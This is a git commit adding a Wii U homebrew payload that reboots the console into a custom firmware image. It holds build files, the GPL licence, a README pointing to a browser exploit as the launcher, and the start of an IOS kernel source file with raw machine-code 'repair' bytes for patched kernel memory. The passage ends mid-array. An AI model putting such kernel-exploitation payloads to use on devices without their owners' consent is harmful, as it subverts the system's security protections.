commit 44d006fd3f94f7d5f79c276a40492de812cbcff2 Author: Maschell Date: Mon Nov 30 17:41:41 2020 +0100 first commit, probably unstable diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..62c3c97 --- /dev/null +++ b/.gitignore @@ -0,0 +1,34 @@ +/*.elf +/*.cbp +/build +/ios_bsp/build +/ios_bsp/ios_bsp.bin.h +/ios_bsp/ios_bsp_syms.h +/ios_bsp/*.elf +/ios_bsp/*.bin +/ios_fs/build +/ios_mcp/build +/ios_mcp/*.elf +/ios_mcp/ios_mcp_syms.h +/ios_mcp/ios_mcp.bin.h +/ios_mcp/*.bin +/ios_fs/ios_fs_syms.h +/ios_fs/ios_fs.bin.h +/ios_fs/*.elf +/ios_fs/*.bin +/ios_kernel/*.bin +/ios_kernel/ios_kernel.bin.h +/ios_kernel/*.elf +/ios_kernel/ios_kernel_syms.h +/ios_kernel/build +/ios_usb/*.bin +/ios_usb/ios_usb.bin.h +/ios_usb/*.elf +/ios_usb/ios_usb_syms.h +/ios_usb/build +/ios_acp/build +/ios_acp/*.bin +/ios_acp/ios_acp.bin.h +/ios_acp/*.elf +/ios_acp/ios_acp_syms.h +*.rpx diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..b4f55bd --- /dev/null +++ b/Dockerfile @@ -0,0 +1,8 @@ +FROM wiiuenv/devkitppc:20200810 + +COPY --from=devkitpro/devkitarm:20200730 $DEVKITPRO/devkitARM $DEVKITPRO/devkitARM +# RUN dkp-pacman -Syu devkitARM --noconfirm + +ENV DEVKITARM=/opt/devkitpro/devkitARM + +WORKDIR project \ No newline at end of file diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..23cb790 --- /dev/null +++ b/LICENSE @@ -0,0 +1,339 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {description} + Copyright (C) {year} {fullname} + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + {signature of Ty Coon}, 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..83fe47c --- /dev/null +++ b/Makefile @@ -0,0 +1,224 @@ +#--------------------------------------------------------------------------------- +# Clear the implicit built in rules +#--------------------------------------------------------------------------------- +.SUFFIXES: +#--------------------------------------------------------------------------------- +ifeq ($(strip $(DEVKITPPC)),) +$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=devkitPPC") +endif +ifeq ($(strip $(DEVKITPRO)),) +$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=devkitPRO") +endif +export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH) +export PORTLIBS := $(DEVKITPRO)/portlibs/ppc + +GCC_VER := $(shell $(DEVKITPPC)/bin/powerpc-eabi-gcc -dumpversion) + +PREFIX := powerpc-eabi- + +export AS := $(PREFIX)as +export CC := $(PREFIX)gcc +export CXX := $(PREFIX)g++ +export AR := $(PREFIX)ar +export OBJCOPY := $(PREFIX)objcopy + +#--------------------------------------------------------------------------------- +# TARGET is the name of the output +# BUILD is the directory where object files & intermediate files will be placed +# SOURCES is a list of directories containing source code +# INCLUDES is a list of directories containing extra header files +#--------------------------------------------------------------------------------- +TARGET := payload +BUILD := build +BUILD_DBG := $(TARGET)_dbg +SOURCES := src + +DATA := data + +INCLUDES := src + +#--------------------------------------------------------------------------------- +# options for code generation +#--------------------------------------------------------------------------------- +CFLAGS := -std=c2x -g -Wall -O2 -ffunction-sections -DESPRESSO -mcpu=750 -meabi -mhard-float $(INCLUDE) +CXXFLAGS := -std=c++20 -g -Wall -O2 -ffunction-sections -DESPRESSO -mcpu=750 -meabi -mhard-float $(INCLUDE) +ASFLAGS := -mregnames +LDFLAGS := -nostartfiles -Wl,--gc-sections,--allow-multiple-definition + +#--------------------------------------------------------------------------------- +Q := @ +MAKEFLAGS += --no-print-directory +#--------------------------------------------------------------------------------- +# any extra libraries we wish to link with the project +#--------------------------------------------------------------------------------- +LIBS := -lwut + +#--------------------------------------------------------------------------------- +# list of directories containing libraries, this must be the top level containing +# include and lib +#--------------------------------------------------------------------------------- +LIBDIRS := $(CURDIR) \ + $(DEVKITPPC)/lib \ + $(DEVKITPRO)/wut \ + $(DEVKITPPC)/lib/gcc/powerpc-eabi/$(GCC_VER) + + +#--------------------------------------------------------------------------------- +# no real need to edit anything past this point unless you need to add additional +# rules for different file extensions +#--------------------------------------------------------------------------------- +ifneq ($(BUILD),$(notdir $(CURDIR))) +#--------------------------------------------------------------------------------- +export PROJECTDIR := $(CURDIR) +export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET) +export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ + $(foreach dir,$(DATA),$(CURDIR)/$(dir)) +export DEPSDIR := $(CURDIR)/$(BUILD) + +#--------------------------------------------------------------------------------- +# automatically build a list of object files for our project +#--------------------------------------------------------------------------------- +CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) +CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) +sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) +SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S))) +BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) + +#--------------------------------------------------------------------------------- +# use CXX for linking C++ projects, CC for standard C +#--------------------------------------------------------------------------------- +ifeq ($(strip $(CPPFILES)),) + export LD := $(CC) +else + export LD := $(CXX) +endif + +export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \ + $(sFILES:.s=.o) $(SFILES:.S=.o) \ + $(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES)) + +#--------------------------------------------------------------------------------- +# build a list of include paths +#--------------------------------------------------------------------------------- +export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ + $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ + -I$(CURDIR)/$(BUILD) + +#--------------------------------------------------------------------------------- +# build a list of library paths +#--------------------------------------------------------------------------------- +export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \ + -L$(LIBOGC_LIB) -L$(PORTLIBS)/lib + +export OUTPUT := $(CURDIR)/$(TARGET) +.PHONY: $(BUILD) clean install + +#--------------------------------------------------------------------------------- +$(BUILD): $(CURDIR)/ios_kernel/ios_kernel.bin.h + @[ -d $@ ] || mkdir -p $@ + @$(MAKE) --no-print-directory -C $(CURDIR)/ios_usb -f $(CURDIR)/ios_usb/Makefile + @$(MAKE) --no-print-directory -C $(CURDIR)/ios_kernel -f $(CURDIR)/ios_kernel/Makefile + @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile + +$(CURDIR)/ios_kernel/ios_kernel.bin.h: $(CURDIR)/ios_usb/ios_usb.bin.h + @$(MAKE) --no-print-directory -C $(CURDIR)/ios_kernel -f $(CURDIR)/ios_kernel/Makefile + +$(CURDIR)/ios_usb/ios_usb.bin.h: + @$(MAKE) --no-print-directory -C $(CURDIR)/ios_usb -f $(CURDIR)/ios_usb/Makefile + + +#--------------------------------------------------------------------------------- +clean: + @echo clean ... + @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf + @$(MAKE) --no-print-directory -C $(CURDIR)/ios_kernel -f $(CURDIR)/ios_kernel/Makefile clean + @$(MAKE) --no-print-directory -C $(CURDIR)/ios_usb -f $(CURDIR)/ios_usb/Makefile clean + + +#--------------------------------------------------------------------------------- +else + +DEPENDS := $(OFILES:.o=.d) + +#--------------------------------------------------------------------------------- +# main targets +#--------------------------------------------------------------------------------- +$(OUTPUT).elf: $(OFILES) + +#--------------------------------------------------------------------------------- +# This rule links in binary data with the .jpg extension +#--------------------------------------------------------------------------------- +%.elf: link.ld $(OFILES) + @echo "linking ... $(TARGET).elf" + $(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS) + $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ + +../data/loader.bin: + $(MAKE) -C ../loader clean + $(MAKE) -C ../loader +#--------------------------------------------------------------------------------- +%.a: +#--------------------------------------------------------------------------------- + @echo $(notdir $@) + @rm -f $@ + @$(AR) -rc $@ $^ + +#--------------------------------------------------------------------------------- +%.o: %.cpp + @echo $(notdir $<) + @$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER) + +#--------------------------------------------------------------------------------- +%.o: %.c + @echo $(notdir $<) + @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER) + +#--------------------------------------------------------------------------------- +%.o: %.S + @echo $(notdir $<) + @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER) + +#--------------------------------------------------------------------------------- +%.png.o : %.png + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.jpg.o : %.jpg + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.ttf.o : %.ttf + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.bin.o : %.bin + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.wav.o : %.wav + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.mp3.o : %.mp3 + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.ogg.o : %.ogg + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) +#--------------------------------------------------------------------------------- +%.tga.o : %.tga + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +-include $(DEPENDS) + +#--------------------------------------------------------------------------------- +endif +#--------------------------------------------------------------------------------- diff --git a/README.md b/README.md new file mode 100644 index 0000000..744ac65 --- /dev/null +++ b/README.md @@ -0,0 +1,25 @@ +# fw_img_payload +This a payload to reboot into a fw.img from the root of your sd card. Based on [cfw_booter](https://github.com/dimok789/cfw_booter) + +## Usage +Place the `fw.img` in the root of your sd card (`sd:/fw.img`) and run a payload.elf loader (for example using the [browser exploit](https://github.com/wiiu-env/JsTypeHax)). + +## Building + +For building you just need [wut](https://github.com/devkitPro/wut/) installed, then use the `make` command. + + +``` +# Build docker image (only needed once) +docker build . -t fw_img_payload-builder + +# make +docker run -it --rm -v ${PWD}:/project fw_img_payload-builder make + +# make clean +docker run -it --rm -v ${PWD}:/project fw_img_payload-builder make clean +``` + +## Credits +dimok +Maschell \ No newline at end of file diff --git a/ios_kernel/.gitignore b/ios_kernel/.gitignore new file mode 100644 index 0000000..a2ebb97 --- /dev/null +++ b/ios_kernel/.gitignore @@ -0,0 +1,2 @@ +ios_kernel.c +ios_kernel.h \ No newline at end of file diff --git a/ios_kernel/Makefile b/ios_kernel/Makefile new file mode 100644 index 0000000..af55582 --- /dev/null +++ b/ios_kernel/Makefile @@ -0,0 +1,87 @@ +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) +export PATH:=$(DEVKITARM)/bin:$(PATH) +endif + +CC = arm-none-eabi-gcc +LINK = arm-none-eabi-gcc +AS = arm-none-eabi-as +OBJCOPY = arm-none-eabi-objcopy +OBJDUMP = arm-none-eabi-objdump +CFLAGS += -Wall -mbig-endian -std=gnu11 -mcpu=arm926ej-s -msoft-float -mfloat-abi=soft -Os +LDFLAGS += -nostartfiles -nodefaultlibs -mbig-endian -Wl,-T,link.ld +LIBDIRS += -L$(CURDIR)/../libs +LIBS += -lgcc + +CFILES = $(wildcard source/*.c) +BINFILES = $(wildcard data/*.bin) +OFILES = $(BINFILES:data/%.bin=build/%.bin.o) +OFILES += $(CFILES:source/%.c=build/%.o) +DFILES = $(CFILES:source/%.c=build/%.d) +SFILES = $(wildcard source/*.s) +OFILES += $(SFILES:source/%.s=build/%.o) +PROJECTNAME = ${shell basename "$(CURDIR)"} +CWD = "$(CURDIR)"" + +#--------------------------------------------------------------------------------- +# path to tools +#--------------------------------------------------------------------------------- +DEVKITPATH=$(shell echo "$(DEVKITPRO)" | sed -e 's/^\([a-zA-Z]\):/\/\1/') +export PATH := $(DEVKITPATH)/tools/bin:$(DEVKITPATH)/devkitPPC/bin:$(PATH) + +#--------------------------------------------------------------------------------- +# canned command sequence for binary data, taken from devkitARM +#--------------------------------------------------------------------------------- +define bin2o + bin2s $< | $(AS) -EB -o $(@) +endef + +.PHONY:=all dirs + +all: dirs $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h + +dirs: + @mkdir -p build + +$(PROJECTNAME).elf: $(OFILES) + @echo "LD $@" + @$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(sort $(filter-out build/crt0.o, $(OFILES))) $(LIBDIRS) $(LIBS) + +$(PROJECTNAME).bin: $(PROJECTNAME).elf + @echo "OBJCOPY $@\n" + @$(OBJCOPY) -j .text -j .rodata -j .data -O binary $(PROJECTNAME).elf $@ + +$(PROJECTNAME).bin.h: $(PROJECTNAME).bin + @raw2c $< + @cp $(PROJECTNAME).c $@ + +$(PROJECTNAME)_syms.h: + @echo "#ifndef $(PROJECTNAME)_SYMS_H" > $@ + @echo "#define $(PROJECTNAME)_SYMS_H" >> $@ + @$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep 'g F .text' | grep -v '.hidden' | awk '{print "#define " $$6 " 0x" $$1}' >> $@ + @$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep -e 'g .text' -e '_bss_' | awk '{print "#define " $$5 " 0x" $$1}' >> $@ + @echo "#endif" >> $@ + +clean: + @rm -f build/*.o build/*.d + @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h + @echo "all cleaned up !" + +-include $(DFILES) + +build/%.o: source/%.c + @echo "CC $(notdir $<)" + @$(CC) $(CFLAGS) -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.o: source/%.s + @echo "CC $(notdir $<)" + @$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.bin.o: data/%.bin + @echo "BIN $(notdir $<)" + @$(bin2o) diff --git a/ios_kernel/link.ld b/ios_kernel/link.ld new file mode 100644 index 0000000..7371f7d --- /dev/null +++ b/ios_kernel/link.ld @@ -0,0 +1,28 @@ +OUTPUT_ARCH(arm) + +SECTIONS +{ + . = (0x08135000); + + __KERNEL_CODE_START = .; + .text : { + build/crt0.o(.init) + *(.text*); + } + .rodata : { + *(.rodata*) + } + .data : { + *(.data*) + } + .bss : { + *(.bss*) + *(COMMON*) + } + __KERNEL_CODE_END = .; + + /DISCARD/ : { + *(*); + } +} + diff --git a/ios_kernel/source/crt0.s b/ios_kernel/source/crt0.s new file mode 100644 index 0000000..83d7bb6 --- /dev/null +++ b/ios_kernel/source/crt0.s @@ -0,0 +1,9 @@ +.section ".init" +.arm +.align 4 + +.extern _main +.type _main, %function + +_start: + b _main diff --git a/ios_kernel/source/main.c b/ios_kernel/source/main.c new file mode 100644 index 0000000..52d9bef --- /dev/null +++ b/ios_kernel/source/main.c @@ -0,0 +1,139 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "types.h" +#include "utils.h" + +#define USB_PHYS_CODE_BASE 0x101312D0 + +typedef struct +{ + u32 size; + u8 data[0]; +} payload_info_t; + +static const char repairData_set_fault_behavior[] = { + 0xE1,0x2F,0xFF,0x1E,0xE9,0x2D,0x40,0x30,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x40,0x00, + 0xE5,0x92,0x30,0x54,0xE1,0xA0,0x50,0x01,0xE3,0x53,0x00,0x01,0x0A,0x00,0x00,0x02, + 0xE1,0x53,0x00,0x00,0xE3,0xE0,0x00,0x00,0x18,0xBD,0x80,0x30,0xE3,0x54,0x00,0x0D, +}; +static const char repairData_set_panic_behavior[] = { + 0x08,0x16,0x6C,0x00,0x00,0x00,0x18,0x0C,0x08,0x14,0x40,0x00,0x00,0x00,0x9D,0x70, + 0x08,0x16,0x84,0x0C,0x00,0x00,0xB4,0x0C,0x00,0x00,0x01,0x01,0x08,0x14,0x40,0x00, + 0x08,0x15,0x00,0x00,0x08,0x17,0x21,0x80,0x08,0x17,0x38,0x00,0x08,0x14,0x30,0xD4, + 0x08,0x14,0x12,0x50,0x08,0x14,0x12,0x94,0xE3,0xA0,0x35,0x36,0xE5,0x93,0x21,0x94, + 0xE3,0xC2,0x2E,0x21,0xE5,0x83,0x21,0x94,0xE5,0x93,0x11,0x94,0xE1,0x2F,0xFF,0x1E, + 0xE5,0x9F,0x30,0x1C,0xE5,0x9F,0xC0,0x1C,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x10,0x00, + 0xE5,0x92,0x30,0x54,0xE5,0x9C,0x00,0x00, +}; +static const char repairData_usb_root_thread[] = { + 0xE5,0x8D,0xE0,0x04,0xE5,0x8D,0xC0,0x08,0xE5,0x8D,0x40,0x0C,0xE5,0x8D,0x60,0x10, + 0xEB,0x00,0xB2,0xFD,0xEA,0xFF,0xFF,0xC9,0x10,0x14,0x03,0xF8,0x10,0x62,0x4D,0xD3, + 0x10,0x14,0x50,0x00,0x10,0x14,0x50,0x20,0x10,0x14,0x00,0x00,0x10,0x14,0x00,0x90, + 0x10,0x14,0x00,0x70,0x10,0x14,0x00,0x98,0x10,0x14,0x00,0x84,0x10,0x14,0x03,0xE8, + 